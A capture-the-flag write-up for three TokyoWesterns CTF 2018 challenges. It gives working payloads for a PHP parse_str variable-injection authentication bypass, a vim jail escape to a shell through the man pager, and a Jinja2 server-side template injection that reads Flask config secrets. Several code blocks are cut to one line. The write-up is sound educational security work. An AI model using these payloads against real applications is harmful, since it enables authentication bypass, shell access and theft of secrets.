Information#
CTF#
- Name : TokyoWesterns CTF 4th 2018
- Website : tokyowesterns.github.io
- Type : Online
- Format : Jeopardy
- CTF Time : link
SimpleAuth - Web#
http://simpleauth.chal.ctf.westerns.tokyo/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
require_once 'flag.php';
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
if ($action === 'auth') {
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
echo $flag;
}
else {
echo 'fail :(';
}
}
else {
highlight_file(__FILE__);
}
Here a ===
operator is used, no loose comparison is possible, and timing attack is nearly impossible.
1 | $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e' |
There are no known vulnerability on hash()
, and it seems not possible to abuse input $user
and $pass
.
1 | if (!empty($user) && !empty($pass)) { |
But take a look at the first part of the code:
1 | if (!empty($_SERVER['QUERY_STRING'])) { |
As you can see parse_str
is used and the PHP manual is telling us that using parse_str
without result
parameter is a very bad idea.
This will dynamically set variables.
This will have a behavior similar to using extract, (I talked about it in a previous article c99.php : A backdoored backdoor).
We just need $hashed_password
not to be already set.
But $hashed_password
need $user
and $pass
to be defined.
And we have the choice not to create them so $hashed_password
will not be set either.:
1 | if (!empty($res['user'])) { |
Now let's see the running PHP version by taking a look at server HTTP header:
1 | < Server: Apache/2.4.25 (Debian) |
DEPRECATED as of PHP 7.2.
So we are good to go:
http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e
.
The flag was TWCTF{d0_n0t_use_parse_str_without_result_param}
.
vimshell - Misc#
Can you escape from jail?
We begin with vim opened on this page:
1 | diff --git a/src/normal.c b/src/normal.c |
This is a patch they applied on vim, disabling us to use :
, Q
and g
shortcuts.
So we can't use something like :shell
or :!/bin/bash
.
I found a Vim Cheat Sheet. K
shortcut opens man page for word under the cursor.
So just press K
and we are in man now.
But their man
is not patched. So we can use !/bin/bash
to have a shell.
Then we just have to look around to find the flag:
1 | vimshell@vimshell-fbc8f84bf-w82t8:/go$ whoami |
Shrine - Web#
shrine is translated as jinja in Japanese.
The source code is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
def index():
return open(__file__).read()
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
This is a flask app using jinja template engine, let's try a basic {{ 7*7 }}
as a path: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B7*7%7D%7D
.
This is resulting into 49
.
So we can make try an SSTI.
We notice this piece of code removing all of our parenthesis, so we can't use things like dir()
or __subclasses__()
.
1 | s = s.replace('(', '').replace(')', '') |
Then some global flask methods where removed:
1 | 'config', 'self'] blacklist = [ |
So our request is always prefixed with {% set config=None%}{% set self=None%}
before being rendered by jinja2.
This is only disabling us from using config
or self
globals directly.
OddCoder used url_for
and its method __globals__
to access the current_app
, replacing self
.
So we can call config
from it.
{{ url_for.__globals__["current_app"].config }}
Here is a simple ruby script to make the request:
1 | require 'net/http' |
Output:
1 | ruby req.rb |
So http://shrine.chal.ctf.westerns.tokyo/shrine/{{ url_for.__globals__["current_app"].config["FLAG"] }}
results in TWCTF{pray_f0r_sacred_jinja2}
.